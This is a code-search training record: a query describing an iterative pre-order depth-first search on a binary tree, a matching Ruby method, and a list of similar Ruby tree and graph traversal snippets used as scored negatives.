`while current_node`\n while node_stack.length > 0\n\n # pop first\n node = node_stack.pop\n\n # then do or look for something, generally w conditional\n if node == target\n return true\n else\n # seems multiple ways to do, but doing right before left\n # makes sense to me, even though most do left before right.\n # With my way, the left is pop'd first and you go down left\n # side first\n\n #### BELOW IS NOT RIGHT -- THERE HAS TO BE SOME RECURSSION HERE\n # This actually is starting to make sense: https://github.com/brianstorti/ruby-graph-algorithms/blob/master/depth_first_search/depth_first_search.rb\n #http://haozeng.github.io/blog/2014/01/05/trees-in-ruby/\n #https://github.com/breadoliveoilsalt/depth-first-search-lab-v-000/blob/solution/index.js\n if node.left\n node_stack.push(node.left)\n end\n if node.right\n node_stack.push(node.right)\n end\n end\n end\n\n return false\n\nend", "def level_order_traversal\n nodes_to_visit = []\n visited_nodes = []\n \n nodes_to_visit.push(self)\n \n while !nodes_to_visit.empty?\n node_to_visit = nodes_to_visit.shift\n visited_nodes.push(node_to_visit.root_value)\n\n nodes_to_visit.push(node_to_visit.left) if node_to_visit.left\n nodes_to_visit.push(node_to_visit.right) if node_to_visit.right\n end\n\n visited_nodes\n end", "def DFS(root, target)\n ## base case: \n return nil if root.nil?\n return root if root.value == target\n ##indecutive step: \n ## DFS on the left side then DFS on the right side \n root.children.each do |child|\n search_result = DFS(child, target) ## better to save the actual value then check the value then return nil\n return search_result unless search_result.nil?\n end \n return nil\nend", "def find_breadth_traversal_tree(in_order,post_order,level, h)\n # level => 0F 0T 1F 1T etc\n if in_order.size == nil || in_order.size == 0\n puts \"finish\"\n elsif in_order.size == 1\n # finish\n yield(level, in_order[0])\n puts \"#{level} \\t #{in_order[0]}\"\n else \n # this is not finished yet\n max_index_in_post = 0\n max_index_in_in = 0\n in_order.each_with_index do |in_ele,in_index|\n post_index = post_order.index(in_ele)\n\n if post_index > max_index_in_post\n max_index_in_post = post_index\n max_index_in_in = in_index\n end\n\n end\n current_root = in_order[max_index_in_in]\n yield(level, current_root)\n puts \"#{level} \\t #{current_root}\"\n\n level[0] = (Integer(level[0])+1).to_s\n next_level_f = level+\"F\"\n next_level_t = level+\"T\"\n front_of_in = in_order[0...max_index_in_in]\n tail_of_in = in_order[(max_index_in_in+1)...in_order.size]\n \n #\n find_breadth_traversal_tree(front_of_in,post_order,next_level_f, h) {|level,ele| h[level] = ele}\n find_breadth_traversal_tree(tail_of_in,post_order,next_level_t, h) {|level,ele| h[level] = ele}\n\n #\n end # end of else\n\n\nend", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def dump\n # from collections import deque\n\n bit_array = [1, 0] # [1, 0] indicates the 0th node\n labels = ['']\n indices = []\n\n #dumps by Breadth-first search\n queue = []\n queue.push @tree\n\n until queue.empty?\n node = queue.shift\n labels.push node.value\n # indices.push \n\n bit_array += [1] * node.children.size + [0]\n\n node.children.each do |child|\n child.visited = true\n queue.push child\n end\n end\n [bit_array, labels, indices]\n end", "def printBreadthFirst()\n # println(\"printBreadthFirst\");\n #\n # // queues for pushing and saving all elements in \"breadth first search\" style\n # ArrayList items = new ArrayList();\n # ArrayList depths = new ArrayList();\n # ArrayList indicesParent = new ArrayList();\n #\n # // add first elements and startingpoint\n # items.add(this);\n # depths.add(0);\n # indicesParent.add(-1);\n #\n # // tmp vars for running in while loop\n # int index = 0;\n # int itemCount = 1;\n #\n # while (itemCount > index) {\n # FileSystemItem item = (FileSystemItem) items.get(index);\n # int depth = (Integer) depths.get(index);\n # int indexToParent = (Integer) indicesParent.get(index);\n #\n # // print four spaces for each level of depth + debug println\n # for (int i = 0; i < depth; i++) print(\" \");\n # println(index+\" \"+indexToParent+\"<-->\"+index+\" (\"+depth+\") \"+item.file.getName());\n #\n # // is current node a directory?\n # // yes -> push all children to the end of the items\n # if (item.file.isDirectory()) {\n # for (int i = 0; i < item.childCount; i++) {\n # items.add(item.children[i]);\n # depths.add(depth+1);\n # indicesParent.add(index);\n # }\n # itemCount += item.childCount;\n # }\n # index++;\n # }\n # println(index+\" files\");\n end", "def breadth_traversal(top_node)\n # start with the first nodes\n nodes = [top_node]\n nodes_to_iterate = [top_node]\n\n # while we have more nodes to print\n while (!nodes_to_iterate.empty?)\n next_nodes = [] # start with an empty list\n # for each node we iterate over in this, find their children\n nodes_to_iterate.each do |n|\n # add the next nodes we iterate\n next_nodes.concat(n.children)\n end\n\n #\n nodes.concat(next_nodes)\n nodes_to_iterate = next_nodes\n end\n\n # print them out in order\n # nb: (this could be a nested structure so you could print out\n # each row on a separate line, which might be cool)\n nodes.each {|n| yield n.value }\nend", "def depth_of(data_to_find)\n @depth = 0\n if @head.nil?\n return @depth\n else\n depth_search(data_to_find, head)\n end\n return @depth\n end", "def breadth_first_search(tree, value)\n tgt_node = nil\n \n queue = Array(tree)\n \n while !queue.empty?\n cur_node = queue.shift \n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.each { |child| queue << child unless child.nil? }\n end\n \n tgt_node\nend", "def dfs_rec(value, node = Node.get_root_node)\n\n if !node.nil?\n puts \"Searching node #{node.value}\"\n if !node.value.nil?\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n else\n nil\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if left_child.nil?\n puts \"No left child.\"\n else\n puts \"Left child is #{left_child.value}\"\n end\n\n if right_child.nil?\n puts \"No right child.\"\n else\n puts \"Right child is #{right_child.value}.\"\n end\n\n left_child.nil? ? nil : dfs_rec(value, left_child)\n right_child.nil? ? nil : dfs_rec(value, right_child)\nend", "def dfs\n visited = {}\n vertexes.keys.each {|v| visited[v] = false}\n unvisited = find_first_unvisited visited\n search_results = []\n until unvisited.is_nothing?\n #find a depth first search tree and hash containing the order that each node is visited\n dpst = explore(unvisited.from_just)\n if dpst.is_nothing?\n return Nothing.new\n else\n dpst = dpst.from_just\n end\n if search_results.empty?\n search_results.push dpst\n else\n search_results.each_with_index do |result, i|\n tree = dpst[:tree]\n found = false\n result.each do |v|\n if tree[v] and result.length < tree.keys.length\n results[i] = dpst\n found = true\n break\n end\n end\n break if found\n end\n end\n # Mark each point in the path as visited\n dpst[:visit_order].each do |k|\n visited[k] = true\n end\n unvisited = find_first_unvisited visited\n end\n search_results\n end", "def depth_first_search_recursive(source)\n visited.add(source)\n\n source.neighbors.each do |neighbor|\n unless visited.include?(neighbor)\n depth_first_search_recursive(neighbor)\n meta[neighbor] = source\n end\n end\n end", "def dfs_rec node= self.root, value\n\t\tif node.value == value\n\t\t\treturn \"Value #{value} found in #{node.to_s}\"\n\t\telse\n\t\t\t dfs_rec(node.left, value) if node.left\n\t\t\t dfs_rec(node.right, value) if node.right\n\t\tend\n\tend", "def depth_first_search(target)\n # create an array that acts like a stack\n stack = [self]\n # visited array keeps the visited nodes\n visited = []\n \n # search until there are no nodes left\n until stack.length == 0\n # get the last element in the stack\n node = stack[-1]\n\n # mark current node as visited\n visited << node\n\n # return the current node if the target value found\n return node if node.value == target\n \n # if there is unvisited left node, add it to stack\n if node.left && !visited.include?(node.left)\n stack << node.left\n # else if there is unvisited right node, add it to stack\n elsif node.right && !visited.include?(node.right)\n stack << node.right\n # if there are no visited children, pop the node from stack\n else\n stack.pop\n end\n end\n nil\n end", "def bfs\n # this is 'really' a traversal, but this type of search is similar to what we'll be doing with graphs and it's called 'breadth first search'\n list = []\n return list if @root.nil?\n queue = [@root]\n\n until queue.empty?\n # big O of shift is O(n)\n current = queue.shift\n # how to check if current has a left subtree?\n queue.push(current.left) unless current.left.nil?\n queue.push(current.right) unless current.right.nil?\n\n list << { key: current.key, value: current.value}\n end\n end", "def DFS(rootNode,searchValue)\n\tstack = []\n\tpath = []\n\tpath[0] =rootNode\n\t# Initializes the stack with rootNode\n\tstack[0]=rootNode\n\t# while there is something in the stack keep running\n\twhile stack.length != 0\n\t\t# if checkFunction(searchValue,stack[0]) == true\n\t\tif checkFunction(searchValue,stack[0]) == true\n\t\t\t# return true and path\n\t\t\treturn TracePath(stack[0])\n\t\t# else\n\t\telse\n\t\t\t#remove stack[0] from the stack and inmidiately stores it in temp\n\t\t\ttemp = stack.shift\n\t\t\t#if there is right brach in the formely stack[0] now stored in temp\n\t\t\tif temp.getRB\n\t\t\t\t#insert the rigth branch at the beginning of the stack\n\t\t\t\tstack.unshift(temp.getRB)\n\t\t\tend\n\t\t\t#if there is left branch in the formely stack[0] now stored in temp\n\t\t\tif temp.getLB\n\t\t\t\t#insert the left brach at the beginning of the stack.\n\t\t\t\tstack.unshift(temp.getLB)\n\t\t\t\t\n\t\t\tend\n\t\t\t#insert the temp in the path array to keep track of the path used for the search\n\t\t\tputs temp.display\n\t\tend\n\tend\n\t# return false becuase at this point the function did not find the value\n\treturn false\nend", "def inOrderTraversal( rootNode )\n return if rootNode == nil\n inOrderTraversal( rootNode.leftChild )\n puts rootNode.data\n inOrderTraversal( rootNode.rightChild )\n end", "def tree_search(problem, fringe)\n # \"\"\"Search through the successors of a problem to find a goal.\n # The argument fringe should be an empty queue.\n # Don't worry about repeated paths to a state. [Fig. 3.8]\"\"\"\n # Since we dont worry about repeated paths this can lead to infinite loops\n fringe.append(Node.new(problem.initial))\n while fringe.len > 0\n node = fringe.pop()\n return node if problem.goal_test(node.state) if node\n fringe.extend(node.expand(problem)) if node\n end\n return nil\nend", "def inOrderTraversal(node = @root)\n return if (node == nil)\n inOrderTraversal(node.left)\n puts node.value.to_s\n inOrderTraversal(node.right)\n\n\n end", "def bsearch_tree(node, target)\n return target if node == target\n y = nil\n node.each do |x|\n if x.is_a? node.class\n y = bsearch_tree(x, target)\n else\n return target if x == target\n end\n end\n y\nend", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\n p tree.value\n return tree if tree.value == value\n\nend", "def inOrderTraversal(node = @root)\n return if (node == nil)\n inOrderTraversal(node.left)\n puts node.value.to_s\n inOrderTraversal(node.right)\n end", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def in_order_traversal(tree=root, ordering=[])\n end", "def dfs_rec(data, node = @root)\n if node\n puts \"Visiting node #{node.value}\" if @debug\n if data != node.value\n left = dfs_rec(data, node.left)\n if !left\n node = dfs_rec(data, node.right)\n else\n node = left\n end\n end\n end\n node\n end", "def breadth_first_search(data)\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n return node_match\n end", "def inorder(node)\n if node.left_child\n inorder(node.left_child)\n end\n puts node.value\n if node.right_child\n inorder(node.right_child)\n end\nend", "def print_level_order\n return \"Empty BST\" if is_empty\n\n queue = [@root]\n\n until queue.empty?\n current = queue.pop\n puts current.value\n\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n end", "def print_in_order\n return \"Empty BST\" if is_empty\n\n current = @root\n stack = []\n\n while current || !stack.empty?\n if current != nil\n stack.push(current)\n current = current.left\n elsif !stack.empty?\n current = stack.pop()\n puts current.value\n\n current = current.right\n end\n end\n end", "def dfs(graph)\n visited = Hash.new\n\n graph.each do |vertex, _|\n visited[vertex] = Hash.new\n visited[vertex][:state] = \"not visited\"\n end\n\n # This is to enable passing by reference in the dfs_visit method, otherwise\n # simply having a variable for integer will get passed by value and does not\n # behave/increment as expected.\n order = Hash.new\n order[:time] = 0\n\n graph.each do |vertex, _|\n dfs_visit(graph, vertex, visited, order) unless visited[vertex][:state] == \"done\"\n end\n\n visited\nend", "def depth_first_search_pre_order(data)\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n return node_match\n end", "def bfs(target)\n visited = {}\n @graph.keys.each { |key| visited[key] = false }\n node = @graph.keys[0]\n queue = Queue.new\n queue << node\n while !(queue.length == 0)\n visited[node] = true\n puts \"node is #{node}\"\n return node if node == target\n @graph[node].each do |nabe|\n queue << nabe unless visited[nabe] == true\n end\n node = queue.pop\n end\n end", "def depth_first_search(tree, value)\n tgt_node = nil\n \n stack = Array(tree)\n \n while !stack.empty?\n cur_node = stack.pop\n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.reverse_each { |child| stack.push(child) unless child.nil? }\n end\n \n tgt_node\nend", "def print_BST_in_order(root)\n if root.nil?\n return\n end\n print_BST_in_order(root.left)\n print \"#{root.value} \"\n print_BST_in_order(root.right)\nend", "def node_search\n while (current_node = queue.shift).present? && final.nil?\n @processed += 1\n yield(current_node)\n log \"\\rProcessing #{start.name}.... %d / %d / %d / %d @ %ds - depth: %d\", @unmarked, @requeued, @processed, @steps, (Time.now - @started), current_node.depth\n end\n\n format_results\n save_results if final.present?\n self.final_path\n end", "def search(path, final_point)\n\n current = path.first\n puts \"current.center = #{current.center}\"\n puts \"final_point.center = #{final_point.center}\"\n puts \"path.size = #{path.size}\"\n puts \"path = #{path.map{ |p| [p.center,p.wp_visited?].flatten }}\"\n puts \"current.wp_visited? = #{current.wp_visited?}\"\n\nbinding.pry # => debugger\n\n if wp_distance2(current, final_point) < 1.0\n puts \"found\"\n return path.reverse\n end\n\n wp_adjacents = sort_and_filter(current.wp_adjacents, final_point)\n\n wp_adjacents.each do |wp|\n search(path.unshift(wp), final_point)\nbinding.pry # => debugger\n wp.wp_mark\n end\n end", "def dfs_rec(target,current,array_length,stack,visited)\n left = current.find_left_child[0]\n right = current.find_right_child[0]\n parent = current.find_parent[0]\n if current.value == target\n return current\n elsif visited.length == array_length\n return nil\n elsif !left.nil? && !visited.include?(left)\n stack.push(left)\n visited.push(left)\n dfs_rec(target,left,array_length,stack,visited)\n elsif !right.nil? && !visited.include?(right)\n stack.push(right)\n visited.push(right)\n dfs_rec(target,right,array_length,stack,visited)\n else\n stack.pop\n dfs_rec(target,parent,array_length,stack,visited)\n end\nend", "def serialize_binary_search_tree_helper( node, nodes_array)\n \n if node.nil?\n return nil\n end\n \n s_node = Serilized_Node.new(node.value)\n \n nodes_array.push(s_node)\n node_index = nodes_array.size - 1 #the index of the sub tree root\n s_node.left_child_index = serialize_binary_search_tree_helper(node.left, nodes_array)\n s_node.right_child_index = serialize_binary_search_tree_helper(node.right, nodes_array)\n\n \n return node_index\nend", "def dfs(list)\n s = []\n visited = Set.new\n\n s.push(start_node)\n\n while !s.empty?\n current_node = s.shift\n next if visited.include?(current_node)\n visited.add(current_node)\n current_node.neighbors.each do |n|\n s.push(n)\n end\n puts current_node.name\n p s.map(&:name)\n p visited.map(&:name)\n end\nend", "def print_in_order(node)\n if !node.nil?\n print_in_order(node.left)\n print node.val\n print_in_order(node.right)\n end\nend", "def dfs_rec(data)\n @root.each { |node| return node if data == node.data }\n end", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def depth_first_search(value, stack = [Node.get_root_node])\n node = stack[0]\n\n if !node.value.nil?\n puts \"Searching node #{node.value}...\"\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if !left_child.nil?\n puts \"Left child is #{left_child.value}.\"\n else\n puts \"No left child.\"\n end\n\n if !right_child.nil?\n puts \"Right child is #{right_child.value}.\"\n else\n puts \"No right child.\"\n end\n\n if !left_child.nil?\n stack << left_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\n if !right_child.nil?\n stack << right_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\nend", "def dfs(tree)\n # Return the tree if the root value matches the search value\n if @stack[-1].nil?\n return nil\n elsif @stack[-1]['value'] == @value || @stack[-1] == @value\n return @stack[-1]\n end\n \n # Add left tree to the stack if it exists, otherwise the right branch if it exists\n if @stack[-1]['branches']['left'].nil? == false\n @stack << tree['branches']['left']\n dfs(@stack[-1])\n elsif @stack[-1]['branches']['right'].nil? == false\n @stack << tree['branches']['right']\n elsif @stack[-1]['branches']['left'].nil? == false && @stack[-1]['branches']['right'].nil? == false\n @stack.pop\n end\n \n end", "def DFT_in_order_recursive(root)\n if root == nil\n return\n end\n DFT_pre_order_recursive(root.left)\n print \"#{root.value}\\n\"\n DFT_pre_order_recursive(root.right)\n end", "def dfs(start_node)\n s = []\n visited = Set.new\n\n s.push(start_node)\n\n while !s.empty?\n current_node = s.shift\n next if visited.include?(current_node)\n visited.add(current_node)\n current_node.neighbors.each do |n|\n s.push(n)\n end\n puts current_node.name\n p s.map(&:name)\n p visited.map(&:name)\n end\nend", "def level_order\n explored = []\n queue = Queue.new\n explored.push(@root.value)\n queue << @root\n\n until queue.empty? do\n temp = queue.pop\n\n unless temp.left_node.nil? || explored.include?(temp.left_node.value)\n explored.push(temp.left_node.value)\n queue << temp.left_node\n end\n\n unless temp.right_node.nil? || explored.include?(temp.right_node.value)\n explored.push(temp.right_node.value)\n queue << temp.right_node\n end\n end\n\n return explored\n end", "def dfs\n visited = Hash.new(false)\n @v.each do |vertex| \n visited.merge(explore(vertex)) if !visited[vertex]\n end\n return visited\n end", "def level_order_traversal(root_node)\n queue = Queue.new\n queue.enq root_node\n while(!queue.empty?)\n magic_node = queue.deq\n\n puts magic_node.value\n\n queue.enq(magic_node.left) unless magic_node.left.nil?\n\n queue.enq(magic_node.right) unless magic_node.right.nil?\n end \n end", "def breadth_first_search(start_node, target_value)\n\t\tvisited = [start_node]\t\t\t\n\t\tqueue = [start_node]\n\t\n\t\twhile ( queue.length > 0 )\t\n\n\t\t\t# dequeue\n\t\t\tvertex = queue.shift\n\t\t\treturn vertex if target_value.name == vertex.name\n\t\n\t\t\t# visit all adjacent unvisited vertexes, mark visited, enqueue\n\t\t\tNode.childPointers.each do |child|\n\t\t\t\tif !eval(\"vertex.#{child}.nil?\")\n\t\t\t\t\tif !eval(\"visited.include?vertex.#{child}\")\n\t\t\t\t\t\tvisited << eval(\"vertex.#{child}\")\n\t\t\t\t\t\teval(\"vertex.#{child}.prev = vertex\")\n\t\t\t\t\t\tqueue << eval(\"vertex.#{child}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tnil\n\tend", "def breadthFirstSearch(target, node)\n\tqueue = []\n\tqueue << node # creates array\n\tqueue.each do |n| # checks each child\n\t\treturn n if n.data == target\n\t\tn.children.each { |c| queue.push(c) }\n\tend\n\treturn nil # return if found nothing\nend", "def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n p tree.value\n return tree if tree.value == value\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\nend", "def breadth_first_search(root)\n visited = {}\n distance = {}\n predecessor = {}\n\n visited[root] = true\n distance[root] = 0\n predecessor[root] = nil\n\n queue = [ root ]\n\n while from = queue.shift\n\tnext unless @graph[from]\n\t@graph[from].each_key do |to|\n\t unless visited[to]\n\t visited[to] = true\n\t distance[to] = distance[from] + 1\n\t predecessor[to] = from\n\t queue.push(to)\n\t end\n\tend\n end\n return distance, predecessor\n end", "def depth_first_search(vis = DFSVisitor.new(self), &b)\n each_vertex do |u|\n unless vis.finished_vertex?(u)\n vis.handle_start_vertex(u)\n depth_first_visit(u, vis, &b)\n end\n end\n end", "def inorder_traversal(node=@root)\n return if (node==nil)\n inorder_traversal(node.left)\n puts node.value.to_s\n inorder_traversal(node.right)\n end", "def in_order_traversal(node)\n\n while node\n\n #Left as far as possible\n while(node.left)\n node = node.left\n end\n\n print \"#{node.value} \"\n\n prev = node\n node = node.parent\n\n while node\n if node.left == prev\n print \"#{node.value} \"\n\n if node.right\n node = node.right\n break\n end\n end\n\n prev = node\n node = node.parent\n end\n\n end\nend", "def search_dfs(node, target, visited)\n return if visited[node] == true\n return node if node == target\n visited[node] = true\n res = nil\n @graph[node].each do |nabe|\n if !visited[nabe]\n if (res = search_dfs(nabe, target, visited)) == target\n break\n end\n end\n end\n res\n end", "def printDepthFirst()\n # println(\"printDepthFirst\");\n # # // global fileCounter\n # @fileCounter = 0;\n # printRealDepthFirst(0,-1);\n # println(fileCounter+\" files\");\n end", "def breadthFirstSearch(array)\n queue = [self]\n\n while queue.length > 0\n current = queue.shift\n array.append(current.name)\n for child in current.children\n queue.append(child)\n end\n end\n\n return array\n\n end", "def bfs(root)\n # NOTE implement real queue for performance\n queue = []\n root.marked = true\n queue.push(root)\n\n while !queue.empty?\n node = queue.shift\n node.visit\n\n node.adjacent.each do |node|\n if node.marked == false\n node.marked = true\n queue.push(node)\n end\n end\n end\nend", "def dfs(root, target)\n return root if root.value == target\n root.children.each do |child|\n search_result = dfs(child, target)\n return search_result unless search_result.nil?\n end\n\n nil\nend", "def breadth_first_search(start, target)\n queue = [ @vertices[start] ]\n visited = []\n until queue.empty?\n vertex = queue.shift\n break if vertex.key == target\n visited << vertex\n vertex.neighbors.each { |key| queue << @vertices[key] unless visited.include?(@vertices[key])}\n end\n visited\n end", "def breadth_first_search(root)\n visited = {}\n distance = {}\n predecessor = {}\n\n visited[root] = true\n distance[root] = 0\n predecessor[root] = nil\n\n queue = [ root ]\n\n while from = queue.shift\n next unless @graph[from]\n @graph[from].each_key do |to|\n unless visited[to]\n visited[to] = true\n distance[to] = distance[from] + 1\n predecessor[to] = from\n queue.push(to)\n end\n end\n end\n return distance, predecessor\n end", "def depth_first_search_winston(goal_vertex)\n return [self] if self == goal_vertex\n @stack = [], @explored = {}\n @stack << [self]\n @explored[self.label] = true\n while @stack\n path = @stack.pop\n path.last.edges.reverse_each { |edge|\n unless @explored.has_key? edge.label\n @explored[edge.label] = true\n new_path = path.dup.push(edge)\n edge == goal_vertex ? (return new_path) : @stack << new_path\n end\n }\n end\n end", "def depth_traversal(node, &block)\n yield node.value # print the current block\n\n # recurse down to the left child\n depth_traversal(node.left, &block) if node.left\n\n # recurse down to the right child\n depth_traversal(node.right, &block) if node.right\nend", "def inOrder(root)\n return nil if root == nil\n\n inOrder(root.left)\n print \" #{root.value}\"\n inOrder(root.right)\nend", "def printlewis(node)\r\n\tputs node.to_s + \" =\"\r\n\tif node.nodes?\r\n\t\ttemp = Array.new\r\n\t\tnode.nodes.each { |n|\r\n\t\t\tif n == nil\r\n\t\t\t\tputs \":\"\r\n\t\t\telsif n == node.parent\r\n\t\t\t\tputs n\r\n\t\t\telsif !temp.include?(n)\r\n\t\t\t\ttemp << n\r\n\t\t\t\tputs n\r\n\t\t\telse\r\n\t\t\t\tputs n\r\n\t\t\tend\r\n\t\t}\r\n\t\tif !temp.empty?\r\n\t\t\ttemp.each { |n|\r\n\t\t\t\tputs \"========\"\r\n\t\t\t\tprintlewis(n)\r\n\t\t\t}\r\n\t\tend\r\n\tend\r\nend", "def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend", "def use_breadth_first(item, graph, logic_function = ->(x){graph[x].empty?} , returned = \"steps\" )\r\n search_queue = []\r\n steps = {}\r\n search_queue = search_queue.concat(graph[item])\r\n searched = []\r\n #Setting up initial steps \r\n if !search_queue.empty?\r\n search_queue.each do |term|\r\n steps[term] = 1\r\n end\r\n end\r\n #Here goes the graph algorithm\r\n while !search_queue.empty?\r\n person = search_queue.shift()\r\n if !( searched.include?(person) )\r\n\r\n if logic_function.call(person)\r\n if returned == \"steps\"\r\n return steps[person]\r\n end\r\n if returned == \"found\"\r\n return true\r\n end\r\n else\r\n if !(graph[person].nil?) \r\n graph[person].each do |related|\r\n steps[related] = steps[person] + 1 #Setting up the steps of parents of the current element in the queue\r\n end\r\n search_queue = search_queue.concat(graph[person])\r\n end\r\n end\r\n\r\n end\r\n end\r\n return false\r\nend", "def findOrdering(neededByHash, leafSet)\n\t\t#this is the stack used to do a DFS\n\t\tpendingStack = Array.new()\n\n\t\t#for each target, this hash will contain an array of it's dependents\n\t\t#that have not yet been visited. The value will be initialized to\n\t\t#the values in neededByHash the first time a target node is visited,\n\t\t#and then decremented one by one as the graph is traversed\n\t\tremainingChildrenHash = Hash.new()\n\n\t\tdef copySetToArray(st)\n\t\t\tnewArr = []\n\t\t\tst.each {|vl| newArr.push(vl)}\n\t\t\treturn newArr\n\t\tend\n\n\t\tpendingStack.concat(leafSet.to_a())\n\t\tpendingStack.each do |trg| \n\t\t\tchildrenSet = neededByHash[trg]\n\t\t\tchildrenArr = copySetToArray(childrenSet)\n\t\t\tremainingChildrenHash[trg] = childrenArr\n\t\tend\n\n\t\t#the output ordering, where every filename is listed after all files\n\t\t#it depends on\n\t\tordering = Array.new()\n\n\t\tuntil(pendingStack.empty?)\n\t\t\t#debug \"\\n\\nfindOrdering:pendingStack: #{arrayString(pendingStack)}\"\n\t\t\tnextTarget = pendingStack.last()\n\t\t\t#debug \"findOrdering:Visiting: #{nextTarget}\"\n\t\t\tif(remainingChildrenHash[nextTarget].empty?)\n\t\t\t\tpendingStack.pop()\n\t\t\t\tordering.unshift(nextTarget)\n\t\t\telse\n\t\t\t\tnextChild = remainingChildrenHash[nextTarget].pop()\n\t\t\t\tunless (remainingChildrenHash.has_key?(nextChild))\n\t\t\t\t\tnextChildsChildrenSet = neededByHash[nextChild]\n\t\t\t\t\tnccArr = copySetToArray(nextChildsChildrenSet)\n\t\t\t\t\tremainingChildrenHash[nextChild] = nccArr\n\t\t\t\t\tpendingStack.push(nextChild)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn ordering\n\t\n\tend", "def find_nodes\n puts '1st pass: find nodes'\n find :nodes\n self\n end" ]
[ "0.7347308", "0.6729006", "0.662765", "0.65168625", "0.6457625", "0.6426889", "0.64240444", "0.6405202", "0.6271761", "0.626424", "0.62619036", "0.6259853", "0.6248911", "0.62266546", "0.62127036", "0.6198458", "0.6155168", "0.61439085", "0.6132902", "0.61186343", "0.6074785", "0.60741854", "0.6055378", "0.6053844", "0.6012726", "0.60005563", "0.59814316", "0.5979084", "0.5975639", "0.59680206", "0.5966943", "0.596004", "0.5946097", "0.5941678", "0.59395707", "0.5919212", "0.5906074", "0.5887786", "0.58838624", "0.587308", "0.5870601", "0.58473736", "0.58414996", "0.58324784", "0.5828629", "0.5821508", "0.57988685", "0.579116", "0.5775885", "0.5772905", "0.57724375", "0.5740678", "0.5732139", "0.57250595", "0.57240856", "0.5719649", "0.57077044", "0.5701241", "0.57003605", "0.5698476", "0.56949806", "0.5687973", "0.56866366", "0.56860113", "0.5685942", "0.56824666", "0.5681816", "0.56779605", "0.56740785", "0.56591356", "0.5657512", "0.5656224", "0.5651126", "0.56451905", "0.5644763", "0.5643573", "0.56389076", "0.5638774", "0.5632073", "0.56293225", "0.56154484", "0.56053734", "0.56052667", "0.5598887", "0.5596145", "0.559255", "0.55908823", "0.55879396", "0.55826527", "0.5552338", "0.5552235", "0.552497", "0.552177", "0.5510286", "0.5510077", "0.5505872", "0.5502244", "0.55010927", "0.5500964", "0.5495378" ]
0.7838283
0
Iterative PreOrder depthfirst search (Parent > Left Child > Right Child) Returns, from the binary tree, the node which contains 'data' Returns 'nil' if no match is found, or if tree is empty (Root = nil). Note: Handles case where data searched for and tree are not the same type
def depth_first_search_pre_order(data) stack = [@root] node_match = nil match_found = false until stack.empty? || match_found || @root.nil? cur_node = stack.pop if cur_node.value == data match_found = true node_match = cur_node end right = cur_node.right_child stack.push(right) unless right.nil? left = cur_node.left_child stack.push(left) unless left.nil? end return node_match end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
